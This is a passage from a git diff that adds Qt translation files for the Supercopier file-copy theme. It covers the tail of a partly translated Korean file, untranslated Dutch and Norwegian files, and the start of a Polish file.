+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="+35"/>
+ <source>From:</source>
+ <translation type="unfinished">원본:</translation>
+ </message>
+ <message>
+ <location line="+37"/>
+ <source>To:</source>
+ <translation type="unfinished">대상:</translation>
+ </message>
+ <message>
+ <location line="+53"/>
+ <source>Close at the end of the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+98"/>
+ <source>&amp;More</source>
+ <translation type="unfinished">&amp;자세히</translation>
+ </message>
+ <message>
+ <location line="+20"/>
+ <source>&amp;Pause</source>
+ <translation type="unfinished">&amp;일시 정지</translation>
+ </message>
+ <message>
+ <location line="+14"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished">&amp;건너뛰기</translation>
+ </message>
+ <message>
+ <location line="+11"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished">&amp;취소</translation>
+ </message>
+ <message>
+ <source>Limit copy speed at:</source>
+ <translation type="obsolete">복사 속도 제한:</translation>
+ </message>
+ <message>
+ <location line="+58"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+156"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+55"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+26"/>
+ <source>Import the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+55"/>
+ <source>Previous</source>
+ <translation type="unfinished">이전</translation>
+ </message>
+ <message>
+ <location line="+7"/>
+ <source>Next</source>
+ <translation type="unfinished">다음</translation>
+ </message>
+ <message>
+ <location line="+113"/>
+ <source>Interface</source>
+ <translation type="unfinished">인터페이스</translation>
+ </message>
+ <message>
+ <location line="-389"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="-66"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+92"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+26"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+26"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+26"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+55"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+152"/>
+ <location line="+69"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="-49"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+39"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+5"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+51"/>
+ <source>Add file</source>
+ <translation type="unfinished">파일 추가</translation>
+ </message>
+ <message>
+ <location line="+9"/>
+ <source>Add folder</source>
+ <translation type="unfinished">폴더 추가</translation>
+ </message>
+ <message>
+ <location line="+9"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished">파일 이동</translation>
+ </message>
+ <message>
+ <location line="+9"/>
+ <source>Move folder</source>
+ <translation type="unfinished">폴더 이동</translation>
+ </message>
+ <message>
+ <location line="+9"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished">파일 복사</translation>
+ </message>
+ <message>
+ <location line="+9"/>
+ <source>Copy folder</source>
+ <translation type="unfinished">폴더 복사</translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="+230"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="-58"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished">메인 정보에 속도 표시</translation>
+ </message>
+ <message>
+ <location line="-137"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+6"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+20"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+10"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+26"/>
+ <location line="+24"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+138"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>At the end of the copy: </source>
+ <translation type="obsolete">복사 종료시:</translation>
+ </message>
+ <message>
+ <source>Limit copy speed at:</source>
+ <translation type="obsolete">복사 속도 제한:</translation>
+ </message>
+ <message>
+ <location line="-128"/>
+ <source> KB/s</source>
+ <translation type="unfinished"> KB/초</translation>
+ </message>
+ <message>
+ <location line="+35"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+38"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+6"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+30"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="-20"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="-169"/>
+ <source>Always on top</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/nl/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/nl/translation.ts
new file mode 100644
index 0000000..78e326c
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/nl/translation.ts
@@ -0,0 +1,324 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/no/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/no/translation.ts
new file mode 100644
index 0000000..78e326c
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/no/translation.ts
@@ -0,0 +1,324 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/pl/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/pl/translation.ts
new file mode 100644
index 0000000..78e326c
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/pl/translation.ts
@@ -0,0 +1,324 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
